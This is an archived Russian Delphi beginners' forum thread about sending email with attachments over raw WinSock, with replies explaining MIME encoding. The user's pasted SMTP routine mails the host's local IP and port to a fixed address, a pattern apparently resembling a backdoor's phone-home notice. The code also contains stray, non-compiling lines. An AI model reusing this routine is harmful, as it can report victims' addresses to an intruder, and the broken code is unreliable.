Главная страница
    Top.Mail.Ru    Яндекс.Метрика
Форум: "Начинающим";
Текущий архив: 2005.12.11;
Скачать: [xml.tar.bz2];

Вниз

Отправка письма с аттачем с помощью WinSock   Найти похожие ветки 

 
KGC ©   (2005-11-26 03:25) [0]

Здравствуйте уважаемые.
Заинтересовался я отправкой почты, посидел почитал нашёл пару примеров, да вот никак не могу найти а как к письму прикрепить файл или несколько ?
Интересует реализация с помощью сокетов без всяких компоненток.
Заранее благодарен .


 
KGC ©   (2005-11-26 06:22) [1]

Вот кусок кода из примера, а как сюда файлы прикреплять ума не приложу.

function SMTPRecvReply(MailSocket: TSocket): Word;
var
 Buffer: array[1..1024] of Byte;
 Err: Integer;
 BufStr: string;
begin
 BufStr := "";
 Recv(MailSocket, Buffer, SizeOf(Buffer), 0);
 for Err := 1 to 3 do
   BufStr := BufStr + Chr(buffer[Err]);
 try
   Result := StrToInt(BufStr);
 except
   Result := 0;
 end;
end;

function SMTPSendString(MailSocket: TSocket; Str: string): Boolean;
var
 Buffer: array[1..1024] of Byte;
 Err: Integer;
begin
 Result := FALSE;
 ZeroMemory(@Buffer, SizeOf(Buffer));
 if Length(Str) > 1000 then
   Exit;
 for Err := 1 to Length(Str) do
   Buffer[Err] := Ord(Str[Err]);
 Buffer[Err] := 13;
 Buffer[Err + 1] := 10;
 Err := WinSock.send(MailSocket, buffer, Err + 1, 0);
 if Err > 0 then
   Result := TRUE;
end;

function SMTPConnectAndSendMail(Arg: Pointer): DWord; stdcall;
var
 MailSocket: TSocket;
 MailSent: Boolean;
 MTime: TSystemTime;
 SMTPServer: TSockAddrIn;
 Step: Byte;
 OutOfSend: Boolean;
begin
 MailSent := FALSE;
 OutOfSend := FALSE;
 MailSocket := socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
 ZeroMemory(@SMTPServer, SizeOf(SMTPServer));
 SMTPServer.sin_family := AF_INET;
 SMTPServer.sin_port := htons(25);
 SMTPServer.sin_addr.S_addr := inet_addr(PChar(smtp));
 Step := 0;
 if Connect(MailSocket, SMTPServer, SizeOf(SMTPServer)) = 0 then
   repeat
     case SMTPRecvReply(MailSocket) of
       220: SMTPSendString(MailSocket, "HELO server.com");
       250: case STEP of
           0:
             begin
               SMTPSendString(MailSocket, "MAIL FROM:" + mail);
               Inc(Step);
             end;
           1:
             begin
               SMTPSendString(MailSocket, "RCPT TO:" + mail);
               Inc(Step);
             end;
           2:
             begin
               SMTPSendString(MailSocket, "DATA");
               Inc(Step);
             end;
           3:
             begin
               SMTPSendString(MailSocket, "QUIT");
               Inc(Step);
             end;
         end;
       354:
         begin
           SMTPSendString(MailSocket, "From:" + ServerID);
           SMTPSendString(MailSocket, "To:" + UserName);
           SMTPSendString(MailSocket, "Subject:" + LocalIPS + " : " + port +
             " At " + DateTimeToStr(Now));
           SMTPSendString(MailSocket, CRLF);
           for count := 1 to (txt.Count - 1) do
             SMTPSendString(MailSocket, txt[count]);
           SMTPSendString(MailSocket, CRLF + "." + CRLF);
         end;
       221:
         begin
           OutOfSend := True;
           MailSent := True
         end;
     else
       OutOfSend := True;
       file: //!Case
     end;
   until OutOfSend;
 CloseSocket(MailSocket);
end;
ExitThread(0);
end;


 
Reindeer Moss Eater ©   (2005-11-26 10:24) [2]

Никаких файлов в почтовом сообщении нет.
Есть тело сообщения.
В теле сообщения помещается его текст и следом за ним содержимое файла кодированное по MIME


 
palva ©   (2005-11-26 10:26) [3]

Письмо с вложениями должно находиться у вас в массиве txt.
Сохраните из Outlook Express какое-нибудь письмо с вложениями. Это будет файл с расширением eml. Вот так и должно выглядеть ваше письмо, только начальные заголовки (с адресом и др.) нужно отбросить. Вы их уже передаете в своей программе. Если непонятно, читайте документ RFC-1521 или его частичный перевод http://www.free.net/Info/voronin-02/index.htm



Страницы: 1 вся ветка

Форум: "Начинающим";
Текущий архив: 2005.12.11;
Скачать: [xml.tar.bz2];

Наверх





Память: 0.46 MB
Время: 0.041 c
14-1132576325
Дмитрий_Б
2005-11-21 15:32
2005.12.11
Хорошее агенство недвижимости.


2-1133001837
IAMDANIL
2005-11-26 13:43
2005.12.11
Почему не работает проверялка?


2-1132844658
worldmen
2005-11-24 18:04
2005.12.11
BIOS.


2-1132400297
Volfram
2005-11-19 14:38
2005.12.11
Проблема с MediaPlayer


14-1132235091
baks_uz
2005-11-17 16:44
2005.12.11
Память - 256 MB RAM ....





Afrikaans Albanian Arabic Armenian Azerbaijani Basque Belarusian Bulgarian Catalan Chinese (Simplified) Chinese (Traditional) Croatian Czech Danish Dutch English Estonian Filipino Finnish French
Galician Georgian German Greek Haitian Creole Hebrew Hindi Hungarian Icelandic Indonesian Irish Italian Japanese Korean Latvian Lithuanian Macedonian Malay Maltese Norwegian
Persian Polish Portuguese Romanian Russian Serbian Slovak Slovenian Spanish Swahili Swedish Thai Turkish Ukrainian Urdu Vietnamese Welsh Yiddish Bengali Bosnian
Cebuano Esperanto Gujarati Hausa Hmong Igbo Javanese Kannada Khmer Lao Latin Maori Marathi Mongolian Nepali Punjabi Somali Tamil Telugu Yoruba
Zulu
Английский Французский Немецкий Итальянский Португальский Русский Испанский